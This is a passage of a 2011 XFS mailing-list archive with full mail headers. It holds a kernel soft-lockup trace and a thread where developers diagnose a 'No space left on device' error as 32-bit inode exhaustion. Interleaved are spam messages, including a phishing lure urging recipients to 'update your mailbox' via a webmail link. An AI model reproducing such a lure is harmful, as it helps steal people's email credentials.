tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M Custom Rule 7568M X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Hi, When I rm -rf a directory of a few hundred thousand files/directories on XFS under 2.6.38.1, I see the following, is this normal? [69501.486071] BUG: soft lockup - CPU#0 stuck for 67s! [kworker/0:2:19517] [69501.486074] Modules linked in: tcp_diag inet_diag sata_mv [69501.486077] CPU 0 [69501.486078] Modules linked in: tcp_diag inet_diag sata_mv [69501.486080] [69501.486081] Pid: 19517, comm: kworker/0:2 Not tainted 2.6.38.1 #2 /DP55KG [69501.486085] RIP: 0010:[] [] xfs_ail_splice+0x19/0x90 [69501.486091] RSP: 0018:ffff88011270fb78 EFLAGS: 00000202 [69501.486092] RAX: ffff88023705ced0 RBX: ffff88023715b000 RCX: ffff88017c841588 [69501.486093] RDX: 0000007d0039770e RSI: ffff88011270fbb0 RDI: 0000007d0039770f [69501.486095] RBP: 0000000000000001 R08: 000000000000007d R09: ffff880418e1ab48 [69501.486096] R10: 000000000000007d R11: ffff88029da55058 R12: ffffffff814b578e [69501.486097] R13: ffffffff810a123c R14: ffff88023715b000 R15: 0000000000000097 [69501.486099] FS: 0000000000000000(0000) GS:ffff8800df200000(0000) knlGS:0000000000000000 [69501.486101] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [69501.486102] CR2: 00007f0da6832010 CR3: 00000003daac1000 CR4: 00000000000006f0 [69501.486103] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [69501.486104] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [69501.486106] Process kworker/0:2 (pid: 19517, threadinfo ffff88011270e000, task ffff880414fa0e50) [69501.486107] Stack: [69501.486108] ffffffff81228dbb 000000000000001b 00000001810a14b8 ffff880300000000 [69501.486111] ffff88029157b1b0 ffff8803c6b9c150 0039770e00000003 ffff880101dcb228 [69501.486113] ffff880101dcb228 0000000000000000 ffff880101dcb228 ffff88029dbf1cc0 [69501.486116] Call Trace: [69501.486119] [] ? xfs_trans_ail_update_bulk+0xdb/0x150 [69501.486122] [] ? xfs_trans_committed_bulk+0xd6/0x200 [69501.486125] [] ? xlog_cil_committed+0x24/0xe0 [69501.486127] [] ? xlog_state_do_callback+0x15f/0x2d0 [69501.486129] [] ? xfs_buf_iodone_work+0x0/0x50 [69501.486133] [] ? process_one_work+0xfb/0x370 [69501.486135] [] ? worker_thread+0x15e/0x320 [69501.486138] [] ? __wake_up_common+0x50/0x80 [69501.486140] [] ? worker_thread+0x0/0x320 [69501.486142] [] ? worker_thread+0x0/0x320 [69501.486144] [] ? kthread+0x96/0xa0 [69501.486146] [] ? kernel_thread_helper+0x4/0x10 [69501.486148] [] ? kthread+0x0/0xa0 [69501.486150] [] ? kernel_thread_helper+0x0/0x10 [69501.486151] Code: 0f 45 c2 c3 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 4c 8d 4f 08 4c 3b 4f 08 74 66 49 89 d2 48 8b 47 10 49 c1 ea 20 48 8b 48 08 <49> 39 c1 0f 18 09 74 12 48 8b 78 10 49 89 f8 49 c1 e8 20 45 39 [69501.486167] Call Trace: [69501.486169] [] ? xfs_trans_ail_update_bulk+0xdb/0x150 [69501.486171] [] ? xfs_trans_committed_bulk+0xd6/0x200 [69501.486174] [] ? xlog_cil_committed+0x24/0xe0 [69501.486175] [] ? xlog_state_do_callback+0x15f/0x2d0 [69501.486177] [] ? xfs_buf_iodone_work+0x0/0x50 [69501.486179] [] ? process_one_work+0xfb/0x370 [69501.486181] [] ? worker_thread+0x15e/0x320 [69501.486183] [] ? __wake_up_common+0x50/0x80 [69501.486185] [] ? worker_thread+0x0/0x320 [69501.486187] [] ? worker_thread+0x0/0x320 [69501.486189] [] ? kthread+0x96/0xa0 [69501.486191] [] ? kernel_thread_helper+0x4/0x10 [69501.486192] [] ? kthread+0x0/0xa0 [69501.486194] [] ? kernel_thread_helper+0x0/0x10 [69585.468274] BUG: soft lockup - CPU#0 stuck for 67s! [kworker/0:2:19517] [69585.468277] Modules linked in: tcp_diag inet_diag sata_mv [69585.468280] CPU 0 [69585.468281] Modules linked in: tcp_diag inet_diag sata_mv [69585.468283] [69585.468285] Pid: 19517, comm: kworker/0:2 Not tainted 2.6.38.1 #2 /DP55KG [69585.468288] RIP: 0010:[] [] xfs_ail_splice+0x19/0x90 [69585.468294] RSP: 0018:ffff88011270fb78 EFLAGS: 00000202 [69585.468295] RAX: ffff8800899559c0 RBX: ffff880279648000 RCX: ffff8800899558e8 [69585.468297] RDX: 0000007d0039770e RSI: ffff88011270fbb0 RDI: 0000007d0039770f [69585.468298] RBP: 0000000000000001 R08: 000000000000007d R09: ffff880418e1ab48 [69585.468299] R10: 000000000000007d R11: ffff8802acabb9b8 R12: ffffffff814b578e [69585.468301] R13: ffffffff810a123c R14: ffff880279648000 R15: 0000000000000097 [69585.468302] FS: 0000000000000000(0000) GS:ffff8800df200000(0000) knlGS:0000000000000000 [69585.468304] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [69585.468305] CR2: 00007f0da6832010 CR3: 00000003daac1000 CR4: 00000000000006f0 [69585.468306] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [69585.468308] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [69585.468309] Process kworker/0:2 (pid: 19517, threadinfo ffff88011270e000, task ffff880414fa0e50) [69585.468311] Stack: [69585.468311] ffffffff81228dbb 000000000000001b 00000001810a14b8 ffff880418e1ab40 [69585.468314] ffff8800d7020170 ffff8803c6b9c150 0039770e00000003 ffff880032b59078 [69585.468317] ffff880032b59078 0000000000000000 ffff880032b59078 ffff88016581bf40 [69585.468319] Call Trace: [69585.468322] [] ? xfs_trans_ail_update_bulk+0xdb/0x150 [69585.468325] [] ? xfs_trans_committed_bulk+0xd6/0x200 [69585.468328] [] ? xlog_cil_committed+0x24/0xe0 [69585.468330] [] ? xlog_state_do_callback+0x15f/0x2d0 [69585.468333] [] ? xfs_buf_iodone_work+0x0/0x50 [69585.468336] [] ? process_one_work+0xfb/0x370 [69585.468338] [] ? worker_thread+0x15e/0x320 [69585.468341] [] ? __wake_up_common+0x50/0x80 [69585.468343] [] ? worker_thread+0x0/0x320 [69585.468345] [] ? worker_thread+0x0/0x320 [69585.468347] [] ? kthread+0x96/0xa0 [69585.468349] [] ? kernel_thread_helper+0x4/0x10 [69585.468351] [] ? kthread+0x0/0xa0 [69585.468353] [] ? kernel_thread_helper+0x0/0x10 [69585.468354] Code: 0f 45 c2 c3 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 4c 8d 4f 08 4c 3b 4f 08 74 66 49 89 d2 48 8b 47 10 49 c1 ea 20 48 8b 48 08 <49> 39 c1 0f 18 09 74 12 48 8b 78 10 49 89 f8 49 c1 e8 20 45 39 [69585.468370] Call Trace: [69585.468372] [] ? xfs_trans_ail_update_bulk+0xdb/0x150 [69585.468374] [] ? xfs_trans_committed_bulk+0xd6/0x200 [69585.468376] [] ? xlog_cil_committed+0x24/0xe0 [69585.468378] [] ? xlog_state_do_callback+0x15f/0x2d0 [69585.468380] [] ? xfs_buf_iodone_work+0x0/0x50 [69585.468382] [] ? process_one_work+0xfb/0x370 [69585.468384] [] ? worker_thread+0x15e/0x320 [69585.468386] [] ? __wake_up_common+0x50/0x80 [69585.468388] [] ? worker_thread+0x0/0x320 [69585.468390] [] ? worker_thread+0x0/0x320 [69585.468392] [] ? kthread+0x96/0xa0 [69585.468394] [] ? kernel_thread_helper+0x4/0x10 [69585.468395] [] ? kthread+0x0/0xa0 [69585.468397] [] ? kernel_thread_helper+0x0/0x10 [69586.159176] INFO: task rm:21483 blocked for more than 120 seconds. [69586.159179] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [69586.159180] rm D ffff8803f4bce650 0 21483 21466 0x00000004 [69586.159183] ffff8803f4bce650 0000000000000086 0000000000000000 0000000000000000 [69586.159186] ffff88041fd71190 0000000000011280 ffff88033d69bfd8 0000000000011280 [69586.159189] 0000000000004000 0000000000004000 ffff8803f4bce8a8 ffff88033d69a000 [69586.159192] Call Trace: [69586.159197] [] ? _xfs_buf_ioapply+0x16c/0x2d0 [69586.159200] [] ? xfs_buf_iorequest+0x3b/0x60 [69586.159202] [] ? xlog_bdstrat+0x1d/0x50 [69586.159204] [] ? xlog_sync+0x1fe/0x390 [69586.159206] [] ? _xfs_log_force_lsn+0x296/0x2d0 [69586.159210] [] ? default_wake_function+0x0/0x20 [69586.159212] [] ? _xfs_trans_commit+0x29d/0x2b0 [69586.159215] [] ? xfs_itruncate_finish+0x18d/0x310 [69586.159217] [] ? xfs_inactive+0x2e5/0x450 [69586.159220] [] ? xfs_fs_evict_inode+0x82/0x90 [69586.159223] [] ? evict+0x17/0xa0 [69586.159224] [] ? iput+0x1a3/0x270 [69586.159227] [] ? do_unlinkat+0x125/0x1c0 [69586.159230] [] ? system_call_fastpath+0x16/0x1b From ipostfix@gmail.com Sat Mar 26 08:38:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.0 required=5.0 tests=BAYES_40,FREEMAIL_FROM, HTML_MESSAGE,T_DKIM_INVALID,T_TO_NO_BRKTS_FREEMAIL autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2QDc8FJ052900 for ; Sat, 26 Mar 2011 08:38:08 -0500 X-ASG-Debug-ID: 1301146875-156c024d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-iy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1F7B71DF6965 for ; Sat, 26 Mar 2011 06:41:15 -0700 (PDT) Received: from mail-iy0-f181.google.com (mail-iy0-f181.google.com [209.85.210.181]) by cuda.sgi.com with ESMTP id k7DUCDFAEnXoUCxH for ; Sat, 26 Mar 2011 06:41:15 -0700 (PDT) Received: by iyb26 with SMTP id 26so2179056iyb.26 for ; Sat, 26 Mar 2011 06:41:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:date:message-id:subject:from:to :content-type; bh=ghpQcYs6noQzogGuynHnxcqyTXclHlLFVATVXUvG7iQ=; b=IJ0czaf9H5WwaNj8vc76p629rv4qt20lW6SsWwQQcFhkbaWVdV1GZdL2jSaOIXd3Tq IzdnpVNqKeMaQMo6DbemuJ+b+IQNB0iPHlWcFdhX0SHpL+lpPO9lKUEU4IEYSVPzwgoR s3sv5JGW6llkSZCoTRPoCmzUqpklodEJ74/Q0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=BHMT63Rzm72so4zu9PqXvWeSDr7I4MokJgm5+lkBdG8BU8dKBmWLSnnUl+O0Ke7YEo FK7vSoOK5TKAZ6B1RoCVLvwA04RKNRFrfPmz5fn4WnrXUNU2p0gRyEVxUTXbCRhiS/eE Okyc6ikNISY9ZuqDcato9nqYWkL73EvRvwifs= MIME-Version: 1.0 Received: by 10.43.70.20 with SMTP id ye20mr3257072icb.156.1301146875421; Sat, 26 Mar 2011 06:41:15 -0700 (PDT) Received: by 10.42.229.5 with HTTP; Sat, 26 Mar 2011 06:41:15 -0700 (PDT) Date: Sat, 26 Mar 2011 21:41:15 +0800 Message-ID: X-ASG-Orig-Subj: No space left on device on xfs filesystem with 7.7TB free Subject: No space left on device on xfs filesystem with 7.7TB free From: atyu30 atyu30 To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=bcaec51d22da4f631b049f62dd2c X-Barracuda-Connect: mail-iy0-f181.google.com[209.85.210.181] X-Barracuda-Start-Time: 1301146876 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59025 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean --bcaec51d22da4f631b049f62dd2c Content-Type: text/plain; charset=ISO-8859-1 I'm running RedHat Linux Enterprise Server 5.2, on a 64-bit x86_64 Linux machine with kernel version 2.6.18-128.el5 smp. I appear to have version 2.9.4 of xfsprogs. I have a 22TB xfs filesystem ,Yesterday, the hard disk is full, today released a 7.7T disk space.But still can not write to new file. software ambience: [root@Production data5]# uname -a Linux Production 2.6.18-128.el5 #1 SMP Wed Jan 21 10:41:14 EST 2009 x86_64 x86_64 x86_64 GNU/Linux [root@Production data5]# rpm -qa | grep xfs xfsprogs-2.9.4-1.el5.centos xorg-x11-xfs-1.0.2-4 kmod-xfs-0.4-2 problem: [root@Production data5]# df -h Filesystem Size Used Avail Use% Mounted on /dev/sda1 48G 6.7G 39G 15% / /dev/sda2 81G 4.0G 73G 6% /opt /dev/sdb1 22T 15T 7.7T 65% /data2 tmpfs 2.0G 0 2.0G 0% /dev/shm [root@Production data5]# df -i Filesystem Inodes IUsed IFree IUse% Mounted on /dev/sda1 12812288 136847 12675441 2% / /dev/sda2 21867648 8440 21859208 1% /opt /dev/sdb1 23429382016 4625792 23424756224 1% /data2 tmpfs 504701 1 504700 1% /dev/shm [root@Production data5]# touch test.log touch: cannot touch `test.log': No space left on device --bcaec51d22da4f631b049f62dd2c Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

I'm running RedHat Linux Enterprise Server 5.2, on a 64-bit x86= _64 Linux=A0 machine with kernel version 2.6.18-128.el5 smp.=A0 I appear to= have version 2.9.4 of xfsprogs.

I have a 22TB xfs filesystem ,Yeste= rday, the hard disk is full, today released a 7.7T disk space.But still can= not write to new file.

software ambience:

[root@Production data5]# uname -a
Linux Pr= oduction 2.6.18-128.el5 #1 SMP Wed Jan 21 10:41:14 EST 2009 x86_64 x86_64 x= 86_64 GNU/Linux

[root@Production data5]# rpm -qa | grep xfs
xfspr= ogs-2.9.4-1.el5.centos
xorg-x11-xfs-1.0.2-4
kmod-xfs-0.4-2


problem:

[root@Pro= duction data5]# df -h
Filesystem=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Size= =A0 Used Avail Use% Mounted on
/dev/sda1=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0 48G=A0 6.7G=A0=A0 39G=A0 15% /
/dev/sda2=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0 81G=A0 4.0G=A0=A0 73G=A0=A0 6% /opt
/dev/sdb1=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 22T=A0=A0 15T=A0 7.7T=A0 6= 5% /data2
tmpfs=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 2.0G=A0= =A0=A0=A0 0=A0 2.0G=A0=A0 0% /dev/shm

[root@Production data5]# df -i=
Filesystem=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 Inodes=A0=A0 IUsed=A0=A0 IF= ree IUse% Mounted on
/dev/sda1=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 12812288= =A0 136847 12675441=A0=A0=A0 2% /
/dev/sda2=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 21867648=A0=A0=A0 8440 21859208= =A0=A0=A0 1% /opt
/dev/sdb1=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 23429382016= 4625792 23424756224=A0=A0=A0 1% /data2
tmpfs=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0 504701=A0=A0=A0=A0=A0=A0 1=A0 504700=A0=A0=A0 1% /dev= /shm

[root@Production data5]# touch test.log
touch: cannot touch `test.log': No space left on device


--bcaec51d22da4f631b049f62dd2c-- From wb@unam.mx Sat Mar 26 09:54:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.0 required=5.0 tests=BAYES_99,T_DKIM_INVALID autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2QEskF0056545 for ; Sat, 26 Mar 2011 09:54:46 -0500 X-ASG-Debug-ID: 1301151473-5f5f01a10000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from salida9.unam.mx (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E727137E4BF for ; Sat, 26 Mar 2011 07:57:53 -0700 (PDT) Received: from salida9.unam.mx (salida9.unam.mx [132.248.194.205]) by cuda.sgi.com with ESMTP id qOYyN4eVECbdl3yv for ; Sat, 26 Mar 2011 07:57:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=unam.mx; i=wb@unam.mx; q=dns/txt; s=safe; t=1301151474; x=1332687474; h=from:sender:reply-to:subject:date:message-id:to:cc: mime-version:content-transfer-encoding:content-id: content-description:resent-date:resent-from:resent-sender: resent-to:resent-cc:resent-message-id:in-reply-to: references:list-id:list-help:list-unsubscribe: list-subscribe:list-post:list-owner:list-archive; z=From:=20"Webmail"=20|Subject:=20Update=20you r=20mailbox.|Date:=20Sat,=2026=20Mar=202011=2009:02:33=20 -0600|Message-ID:=20<80810861010885ca36dfba0036343ac2.squ irrel@webmail.servidor.unam.mx>|MIME-Version:=201.0 |Content-Transfer-Encoding:=208bit; bh=sZ3/tQcz280p6Mfjurx6bBABqjYokAymiuUh0A7xJL4=; b=Ftn58Dw/IYWFC628erq8IwZtcS17NfSeVWM96to8kMACEQGBfSU/lgZ3 NANZXx3+qV3x+yDwSt2R2/YwIDUk6Q==; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuxiAF3+jU2E94a1/2dsb2JhbACDC5RICI0ygVGBAIVIghyxGog1gwuCXgSFOpQaAg Received: from correo.unam.mx (HELO webmail.servidor.unam.mx) ([132.247.134.181]) by relay.servidores.unam.mx with ESMTP; 26 Mar 2011 08:57:53 -0600 Received: from 213.141.134.208 (proxying for 41.206.12.75) (SquirrelMail authenticated user jlfigher) by webmail.servidor.unam.mx with HTTP; Sat, 26 Mar 2011 09:02:33 -0600 Message-ID: <80810861010885ca36dfba0036343ac2.squirrel@webmail.servidor.unam.mx> Date: Sat, 26 Mar 2011 09:02:33 -0600 X-ASG-Orig-Subj: Update your mailbox. Subject: Update your mailbox. From: "Webmail" User-Agent: SquirrelMail/1.4.21 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 (Normal) Importance: Normal X-Barracuda-Connect: salida9.unam.mx[132.248.194.205] X-Barracuda-Start-Time: 1301151473 X-Barracuda-Bayes: INNOCENT GLOBAL 0.1038 1.0000 -1.3701 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -0.16 X-Barracuda-Spam-Status: No, SCORE=-0.16 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59031 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header Content-Transfer-Encoding: quoted-printable To: undisclosed-recipients:; X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Update your mailbox.Please click or visit this link for update http://webmailserver.web.officelive.com/default.aspx From BATV+2c27f893a0f3aea0e798+2771+infradead.org+hch@bombadil.srs.infradead.org Sat Mar 26 10:05:39 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2QF5cKq057089 for ; Sat, 26 Mar 2011 10:05:39 -0500 X-ASG-Debug-ID: 1301152126-5f5e01f80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9C56737E537 for ; Sat, 26 Mar 2011 08:08:46 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 3kzLnFrnsi85lQOb for ; Sat, 26 Mar 2011 08:08:46 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q3V6b-0004Ui-Ee; Sat, 26 Mar 2011 15:08:45 +0000 Date: Sat, 26 Mar 2011 11:08:45 -0400 From: Christoph Hellwig To: atyu30 atyu30 Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: No space left on device on xfs filesystem with 7.7TB free Subject: Re: No space left on device on xfs filesystem with 7.7TB free Message-ID: <20110326150845.GA14334@infradead.org> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301152126 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Sat, Mar 26, 2011 at 09:41:15PM +0800, atyu30 atyu30 wrote: > I'm running RedHat Linux Enterprise Server 5.2, on a 64-bit x86_64 Linux > machine with kernel version 2.6.18-128.el5 smp. I appear to have version > 2.9.4 of xfsprogs. RHEL5.2 does not include XFS support, so you must have gotten an unssuported module from somewhere. If you need to use XFS with RHEL upgrade to a version that officially supports it. From sandeen@sandeen.net Sat Mar 26 10:31:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2QFV5l8058391 for ; Sat, 26 Mar 2011 10:31:05 -0500 X-ASG-Debug-ID: 1301153652-5cbe02890000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id B2BA537E641 for ; Sat, 26 Mar 2011 08:34:13 -0700 (PDT) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with SMTP id MoQ6GdrQamutUJfU for ; Sat, 26 Mar 2011 08:34:13 -0700 (PDT) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 8B68248FDA9B; Sat, 26 Mar 2011 10:34:12 -0500 (CDT) Message-ID: <4D8E0774.1070200@sandeen.net> Date: Sat, 26 Mar 2011 10:34:12 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: atyu30 atyu30 CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: No space left on device on xfs filesystem with 7.7TB free Subject: Re: No space left on device on xfs filesystem with 7.7TB free References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1301153653 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59033 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/26/11 8:41 AM, atyu30 atyu30 wrote: > > > I'm running RedHat Linux Enterprise Server 5.2, on a 64-bit x86_64 > Linux machine with kernel version 2.6.18-128.el5 smp. I appear to > have version 2.9.4 of xfsprogs. Just as point of reference, if you're using the xfs-kmod, that is extremely old, un-updated, and unsupported at this point. > I have a 22TB xfs filesystem ,Yesterday, the hard disk is full, today > released a 7.7T disk space.But still can not write to new file. You have probably run out of 32-bit inode space on your 27T filesystem. > software ambience: > > [root@Production data5]# uname -a Linux Production 2.6.18-128.el5 #1 > SMP Wed Jan 21 10:41:14 EST 2009 x86_64 x86_64 x86_64 GNU/Linux > > [root@Production data5]# rpm -qa | grep xfs > xfsprogs-2.9.4-1.el5.centos xorg-x11-xfs-1.0.2-4 kmod-xfs-0.4-2 > that's X11, not the filesystem, for what it's worth :) > > problem: > > [root@Production data5]# df -h Filesystem Size Used Avail > Use% Mounted on /dev/sda1 48G 6.7G 39G 15% / > /dev/sda2 81G 4.0G 73G 6% /opt /dev/sdb1 > 22T 15T 7.7T 65% /data2 tmpfs 2.0G 0 2.0G > 0% /dev/shm > > [root@Production data5]# df -i Filesystem Inodes IUsed > IFree IUse% Mounted on /dev/sda1 12812288 136847 12675441 > 2% / /dev/sda2 21867648 8440 21859208 1% /opt > /dev/sdb1 23429382016 4625792 23424756224 1% /data2 > tmpfs 504701 1 504700 1% /dev/shm > > [root@Production data5]# touch test.log touch: cannot touch > `test.log': No space left on device If your applications can handle > 32-bit inode numbers, mount -o inode64 and see if you can create the new file. hm, we should maybe printk in this case, it comes up often enough. -Eric > > > _______________________________________________ xfs mailing list > xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From infoweb@unam.mx Sat Mar 26 10:42:39 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.0 required=5.0 tests=BAYES_95,T_DKIM_INVALID autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2QFgcuF058902 for ; Sat, 26 Mar 2011 10:42:38 -0500 X-ASG-Debug-ID: 1301154344-65ac00e30000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from salida7.unam.mx (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1BC23B3AA76; Sat, 26 Mar 2011 08:45:44 -0700 (PDT) Received: from salida7.unam.mx (salida7.unam.mx [132.248.194.219]) by cuda.sgi.com with ESMTP id 0EVtmSLWcfxKmSDc; Sat, 26 Mar 2011 08:45:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=unam.mx; i=infoweb@unam.mx; q=dns/txt; s=safe; t=1301154346; x=1332690346; h=from:sender:reply-to:subject:date:message-id:to:cc: mime-version:content-transfer-encoding:content-id: content-description:resent-date:resent-from:resent-sender: resent-to:resent-cc:resent-message-id:in-reply-to: references:list-id:list-help:list-unsubscribe: list-subscribe:list-post:list-owner:list-archive; z=From:=20"Webmail=20Admin=20Service"=20 |Subject:=20Update=20required|Date:=20Sat,=2026=20Mar=202 011=2009:50:22=20-0600|Message-ID:=20|To:=20cu stomer@webmail.info|MIME-Version:=201.0 |Content-Transfer-Encoding:=208bit; bh=mX4f6fwo05jyyiOKll0y3NZZURuC6GrfQpy3sd20nqY=; b=LDWEhBn8eCexHKatuROXrVDkHG9QpgmCsj7o45GM4YICmbIxTXRIKz0j MbgbeUOl4laQ3M1PUbTpEODMoh3dqQ==; X-IronPort-Anti-Spam-Filtered: true 